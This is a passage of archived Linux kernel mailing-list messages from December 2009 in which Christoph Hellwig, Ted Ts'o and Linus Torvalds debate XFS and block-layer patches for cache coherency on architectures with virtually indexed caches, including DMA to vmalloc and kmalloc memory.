Date: Thu, 17 Dec 2009 12:07:44 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20091217170743.GA10431@infradead.org>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261069836 22088 80.91.229.12 (17 Dec 2009 17:10:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:10:36 +0000 (UTC)
Cc: tytso@mit.edu, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 18:10:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLJpM-0001b0-Ep
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 18:07:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754884AbZLQRHr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 12:07:47 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757585AbZLQRHr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 12:07:47 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:51694 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754884AbZLQRHq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 12:07:46 -0500
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NLJpI-0003j2-Uc; Thu, 17 Dec 2009 17:07:45 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2446 gmane.linux.kernel:929259 gmane.linux.kernel.cross-arch:4890
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2446>

On Thu, Dec 17, 2009 at 08:46:33AM -0800, Linus Torvalds wrote:
> The whole "vmalloc is special" has always been true. If you want to 
> treat vmalloc as normal memory, you need to look up the pages yourself. We 
> have helpers for that (including helpers that populate vmalloc space from 
> a page array to begin with - so you can _start_ from some array of pages 
> and then lay them out virtually if you want to have a convenient CPU 
> access to the array).

Which is exactly what the XFS code does.  Pages are allocated manually
and we store pointers to the page struct that later get added to the
bio.  But we access them through vmap (which I added exactly for this
reason back in 2002) for kernel accesses.  On all architectures with
sane caches things just work, but for parisc, arm and friends that have
virtually indexed caches we need to make sure to flush caches for this
different access.  The vmalloc linear address is not used for I/O
everywhere.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 12:10:25 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20091217171025.GB10431@infradead.org>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261070438 24075 80.91.229.12 (17 Dec 2009 17:20:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:20:38 +0000 (UTC)
To: tytso@mit.edu, Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
Original-X-From: linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1764975AbZLQRKo@vger.kernel.org Thu Dec 17 18:20:30 2009
Return-path: <linux-kernel-owner+glk-linux-kernel-3=40m.gmane.org-S1764975AbZLQRKo@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with smtp (Exim 4.50)
	id 1NLJwx-0007pr-22
	for glk-linux-kernel-3@lo.gmane.org; Thu, 17 Dec 2009 18:15:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764975AbZLQRKo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 17 Dec 2009 12:10:44 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764962AbZLQRKc
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Thu, 17 Dec 2009 12:10:32 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:52892 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757585AbZLQRK3 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 17 Dec 2009 12:10:29 -0500
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NLJrt-0004st-Tq; Thu, 17 Dec 2009 17:10:25 +0000
Content-Disposition: inline
In-Reply-To: <20091217163036.GE2123@thunk.org>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:929264 gmane.linux.ports.parisc:2447
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2447>

On Thu, Dec 17, 2009 at 11:30:36AM -0500, tytso@mit.edu wrote:
> That's because apparently the iSCSI and DMA blocks assume that they
> have Real Pages (tm) passed to block I/O requests, and apparently XFS
> ran into problems when sending vmalloc'ed pages.  I don't know if this
> is a problem if we pass the bio layer addresses coming from the SLAB
> allocator, but oral tradition seems to indicate this is problematic,
> although no one has given me the full chapter and verse explanation
> about why this is so.

Actually at least iscsi now has a workaround for that by checking for
PageSlab.  Back when we deal with the XFS issue that check was only
available with debug options enabled.  I tried to sort it out by
agreeing with the block and iscsi folks that either

 a) we need to send down refcountable pages
 b) block drivers need to accept kmalloced pages

I could not get any afreement, and thus we stopped using the kmalloced
pages in XFS which was easy enough.  A bit later people fixed iscsi,
but we still don't have formal rules about what is acceptable to the
block layer.


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tytso@mit.edu
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 12:33:27 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <20091217173327.GF2123@thunk.org>
References: <20091216043618.GB9104@hera.kernel.org>
 <20091217132256.GO28962@bombadil.infradead.org>
 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
 <20091217163036.GE2123@thunk.org>
 <20091217171025.GB10431@infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261071241 27267 80.91.229.12 (17 Dec 2009 17:34:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:34:01 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 18:33:53 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKEZ-0002YT-4L
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 18:33:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765141AbZLQRdu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 12:33:50 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765120AbZLQRdu
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 12:33:50 -0500
Original-Received: from THUNK.ORG ([69.25.196.29]:48035 "EHLO thunker.thunk.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1765116AbZLQRdt (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 12:33:49 -0500
Original-Received: from root (helo=closure.thunk.org)
	by thunker.thunk.org with local-esmtp   (Exim 4.50 #1 (Debian))
	id 1NLKEC-0000zE-Im; Thu, 17 Dec 2009 12:33:28 -0500
Original-Received: from tytso by closure.thunk.org with local (Exim 4.69)
	(envelope-from <tytso@thunk.org>)
	id 1NLKEB-0004FM-OF; Thu, 17 Dec 2009 12:33:27 -0500
Mail-Followup-To: tytso@mit.edu, Christoph Hellwig <hch@infradead.org>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
Content-Disposition: inline
In-Reply-To: <20091217171025.GB10431@infradead.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2448 gmane.linux.kernel:929279 gmane.linux.kernel.cross-arch:4892
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2448>

On Thu, Dec 17, 2009 at 12:10:25PM -0500, Christoph Hellwig wrote:
> On Thu, Dec 17, 2009 at 11:30:36AM -0500, tytso@mit.edu wrote:
> > That's because apparently the iSCSI and DMA blocks assume that they
> > have Real Pages (tm) passed to block I/O requests, and apparently XFS
> > ran into problems when sending vmalloc'ed pages.  I don't know if this
> > is a problem if we pass the bio layer addresses coming from the SLAB
> > allocator, but oral tradition seems to indicate this is problematic,
> > although no one has given me the full chapter and verse explanation
> > about why this is so.
> 
> Actually at least iscsi now has a workaround for that by checking for
> PageSlab.  Back when we deal with the XFS issue that check was only
> available with debug options enabled.  I tried to sort it out by
> agreeing with the block and iscsi folks that either
> 
>  a) we need to send down refcountable pages
>  b) block drivers need to accept kmalloced pages
> 
> I could not get any afreement, and thus we stopped using the kmalloced
> pages in XFS which was easy enough.  A bit later people fixed iscsi,
> but we still don't have formal rules about what is acceptable to the
> block layer.

It would be good to get some formal rules articulated.  Someone has
asserted that the AoE (ATA over Ethernet) driver will barf on
SLAB/kmalloc allocated memory.   True, false?

					- Ted
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tytso@mit.edu
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 12:39:57 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20091217173957.GG2123@thunk.org>
References: <20091216043618.GB9104@hera.kernel.org>
 <20091217132256.GO28962@bombadil.infradead.org>
 <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain>
 <20091217163036.GE2123@thunk.org>
 <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261071629 29760 80.91.229.12 (17 Dec 2009 17:40:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:40:29 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 18:40:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKKq-0005m5-Im
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 18:40:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765147AbZLQRkT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 12:40:19 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765143AbZLQRkT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 12:40:19 -0500
Original-Received: from THUNK.ORG ([69.25.196.29]:53512 "EHLO thunker.thunk.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1765120AbZLQRkQ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 12:40:16 -0500
Original-Received: from root (helo=closure.thunk.org)
	by thunker.thunk.org with local-esmtp   (Exim 4.50 #1 (Debian))
	id 1NLKKU-00010T-Om; Thu, 17 Dec 2009 12:39:58 -0500
Original-Received: from tytso by closure.thunk.org with local (Exim 4.69)
	(envelope-from <tytso@thunk.org>)
	id 1NLKKT-0004Ii-VD; Thu, 17 Dec 2009 12:39:57 -0500
Mail-Followup-To: tytso@mit.edu,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, hch@infradead.org,
	linux-arch@vger.kernel.org, Jens Axboe <jens.axboe@oracle.com>
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: tytso@thunk.org
X-SA-Exim-Scanned: No (on thunker.thunk.org); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2449 gmane.linux.kernel:929281 gmane.linux.kernel.cross-arch:4893
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2449>

On Thu, Dec 17, 2009 at 08:46:33AM -0800, Linus Torvalds wrote:
> kmalloc() memory should be ok. It's backed by "real pages". Doing the DMA 
> translations for such pages is trivial and fundamental.

Sure, but there's some rumors/oral traditions going around that some
block devices want bio address which are page aligned, because they
want to play some kind of refcounting game, and if you pass them a
kmalloc() memory, they will explode in some interesting and
entertaining way.  And it's Weird Shit(tm) (aka iSCSI, AoE) type
drivers, that most of us don't have access to, so just because it
works Just Fine on SATA doesn't mean anything.

And none of this is documented anywhere, which is frustrating as hell.
Just rumors that "if you do this, AoE/iSCSI will corrupt your file
systems".

    	    	    	       		       - Ted
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 09:42:15 -0800 (PST)
Lines: 61
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain>
 <20091217170743.GA10431@infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1261071804 30410 80.91.229.12 (17 Dec 2009 17:43:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:43:24 +0000 (UTC)
Cc: tytso@mit.edu, Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Christoph Hellwig <hch@infradead.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Dec 17 18:43:15 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKNf-0007VR-Ao
	for glka-linux-arch@lo.gmane.org; Thu, 17 Dec 2009 18:43:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765164AbZLQRnO (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Dec 2009 12:43:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765145AbZLQRnN
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Dec 2009 12:43:13 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:43644 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1759436AbZLQRnJ (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Dec 2009 12:43:09 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHHgFoJ007024
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Thu, 17 Dec 2009 09:42:17 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id nBHHgFnQ008990;
	Thu, 17 Dec 2009 09:42:15 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20091217170743.GA10431@infradead.org>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-3.95 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4894 gmane.linux.ports.parisc:2450 gmane.linux.kernel:929282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2450>



On Thu, 17 Dec 2009, Christoph Hellwig wrote:
>
> On Thu, Dec 17, 2009 at 08:46:33AM -0800, Linus Torvalds wrote:
> > The whole "vmalloc is special" has always been true. If you want to 
> > treat vmalloc as normal memory, you need to look up the pages yourself. We 
> > have helpers for that (including helpers that populate vmalloc space from 
> > a page array to begin with - so you can _start_ from some array of pages 
> > and then lay them out virtually if you want to have a convenient CPU 
> > access to the array).
> 
> Which is exactly what the XFS code does.  Pages are allocated manually
> and we store pointers to the page struct that later get added to the
> bio.

Hmm. The BIO interface that the patch-series changes (bio_map_kern) 
doesn't work that way. It takes a "buf, len" kind of thing. That's what 
I'm complaining about.

> But we access them through vmap (which I added exactly for this
> reason back in 2002) for kernel accesses.  On all architectures with
> sane caches things just work, but for parisc, arm and friends that have
> virtually indexed caches we need to make sure to flush caches for this
> different access.  The vmalloc linear address is not used for I/O
> everywhere.

Well, they clearly are _after_ this series, since that's what all those 
changes to __bio_map_kernel() and bio_map_kern_endio() are all about.

So I believe you when you say that XFS perhaps does everything right - I 
just think that the patch series in question actually makes things worse, 
exactly because it is starting to use virtual addresses.

I also think that the changes to bio_map_kernel() and bio_map_kern_endio() 
are not just "fundamentally ugly", I think they are made worse by the fact 
that it's not even done "right". You both flush the virtual caches before 
the IO and invalidate after - when the real pattern should be that you 
flush it before a write, and invalidate it after a read.

And I really think that would be all much more properly done at the 
_caller_ level, not by the BIO layer.

You must have some locking and allocation etc logic at the caller anyway, 
why doesn't _that_ level just do the flushing or invalidation?

I get the feeling that somebody decided that the whole "do DMA to/from 
vmalloc space" was somehow a common generic pattern that should be 
supported in general, and I violently disagree. Maybe XFS has good reasons 
for doing it, but that does emphatically _not_ make it a good idea in 
general, and that does _not_ mean that the BIO layer should make it easy 
to do for other users and have a general interface for that kind of 
crazyness.

IOW, I'm perfectly happy with the patch to fs/xfs/linux-2.6/xfs_buf.c. 
That one still seems to use 'bio_add_page()' with a regular 'struct page'. 

But the fs/bio.c patch looks like just total and utter crap to me, and is 
the reason I refuse to pull this series.

				Linus

From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Hellwig <hch@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.cross-arch
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 12:51:20 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <20091217175120.GA5741@infradead.org>
References: <20091216043618.GB9104@hera.kernel.org> <20091217132256.GO28962@bombadil.infradead.org> <alpine.LFD.2.00.0912170811130.15740@localhost.localdomain> <20091217163036.GE2123@thunk.org> <alpine.LFD.2.00.0912170839550.15740@localhost.localdomain> <20091217170743.GA10431@infradead.org> <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1261072290 32177 80.91.229.12 (17 Dec 2009 17:51:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Dec 2009 17:51:30 +0000 (UTC)
Cc: Christoph Hellwig <hch@infradead.org>, tytso@mit.edu,
	Kyle McMartin <kyle@mcmartin.ca>, linux-parisc@vger.kernel.org,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	James.Bottomley@suse.de, linux-arch@vger.kernel.org,
	Jens Axboe <jens.axboe@oracle.com>
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 17 18:51:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NLKVX-0003Gv-Qh
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Dec 2009 18:51:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751539AbZLQRvX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Dec 2009 12:51:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752651AbZLQRvW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Dec 2009 12:51:22 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:50464 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751539AbZLQRvV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Dec 2009 12:51:21 -0500
Original-Received: from hch by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1NLKVU-0004ZF-8A; Thu, 17 Dec 2009 17:51:20 +0000
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0912170928310.15740@localhost.localdomain>
User-Agent: Mutt/1.5.19 (2009-01-05)
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2451 gmane.linux.kernel:929285 gmane.linux.kernel.cross-arch:4895
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2451>

On Thu, Dec 17, 2009 at 09:42:15AM -0800, Linus Torvalds wrote:
> > Which is exactly what the XFS code does.  Pages are allocated manually
> > and we store pointers to the page struct that later get added to the
> > bio.
> 
> Hmm. The BIO interface that the patch-series changes (bio_map_kern) 
> doesn't work that way. It takes a "buf, len" kind of thing. That's what 
> I'm complaining about.

Indeed, the "block: permit I/O to vmalloc/vmap kernel pages" does what
you complain about.  But the series doesn't actually add a user for
that.  What it does in XFS is quite a bit of black magic, too - but only
with the new cache coherence calls that are noops on architectures with
physically indexed caches.

> Well, they clearly are _after_ this series, since that's what all those 
> changes to __bio_map_kernel() and bio_map_kern_endio() are all about.
>
> So I believe you when you say that XFS perhaps does everything right - I 
> just think that the patch series in question actually makes things worse, 
> exactly because it is starting to use virtual addresses.

I'm not entirely sure why James added those, but XFS doesn't actually
use bio_map_kern.

> And I really think that would be all much more properly done at the 
> _caller_ level, not by the BIO layer.
>
> You must have some locking and allocation etc logic at the caller anyway, 
> why doesn't _that_ level just do the flushing or invalidation?

http://git.kernel.org/?p=linux/kernel/git/kyle/parisc-2.6.git;a=commitdiff;h=56c8214b842324e94aa88012010b0f1f9847daec

does it in the caller level.  Not exactly in a beautiful way, but who
am I complain as I'm already lost in our mess of cache coherency APIs.

> IOW, I'm perfectly happy with the patch to fs/xfs/linux-2.6/xfs_buf.c. 
> That one still seems to use 'bio_add_page()' with a regular 'struct page'. 
> 
> But the fs/bio.c patch looks like just total and utter crap to me, and is 
> the reason I refuse to pull this series.

Kyle/James, can you regenerate the tree without that patch included?

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [git patches] xfs and block fixes for virtually indexed arches
Date: Thu, 17 Dec 2009 09:51:10 -0800 (PST)
Lines: 21
Approved: news@gmane.org
